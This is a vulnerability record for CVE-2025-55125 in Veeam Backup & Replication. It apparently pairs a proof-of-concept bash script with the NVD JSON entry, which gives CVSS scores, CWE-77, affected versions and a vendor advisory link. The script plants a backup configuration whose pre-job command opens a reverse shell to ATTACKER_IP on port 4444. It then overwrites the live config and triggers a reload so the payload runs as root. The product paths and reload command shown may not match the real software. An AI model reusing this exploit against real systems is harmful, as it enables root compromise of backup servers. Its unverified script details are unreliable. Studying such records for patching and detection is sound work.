CVE-2025-55125

#!/bin/bash # CVE-2025-55125 PoC - Malicious Backup Configuration File # Requires Backup or Tape Operator privileges # Create malicious backup configuration with reverse shell payload MALICIOUS_CONFIG="/tmp/malicious_backup_config.xml" cat > "$MALICIOUS_CONFIG" << 'EOF' <?xml version="1.0" encoding="UTF-8"?> <BackupConfiguration> <JobName>MaliciousJob</JobName> <TargetPath>/tmp</TargetPath> <PreJobCommand>/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1</PreJobCommand> <CompressionEnabled>true</CompressionEnabled> </BackupConfiguration> EOF # Backup original configuration if exists if [ -f "/opt/veeam/backup/config.xml" ]; then cp /opt/veeam/backup/config.xml /opt/veeam/backup/config.xml.bak fi # Replace configuration with malicious one (requires Backup Operator role) cp "$MALICIOUS_CONFIG" /opt/veeam/backup/config.xml chown root:veeam /opt/veeam/backup/config.xml chmod 660 /opt/veeam/backup/config.xml # Trigger configuration reload to execute payload echo "Triggering backup service to execute payload..." /opt/veeam/backup/veeamconfig --reload-config # Note: This PoC demonstrates the vulnerability concept # Actual exploitation requires valid credentials with Backup/Tape Operator role

{"cve": {"id": "CVE-2025-55125", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:47.730", "lastModified": "2026-01-12T16:44:01.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability allows a Backup or Tape Operator to perform remote code execution (RCE) as root by creating a malicious\r\nbackup configuration file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:veeam:veeam_backup_\\&_replication:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.0.4967", "versionEndExcluding": "13.0.1.1071", "matchCriteriaId": "ABE23802-A559-4743-A88B-7716C8645697"}]}]}], "references": [{"url": "https://www.veeam.com/kb4792", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}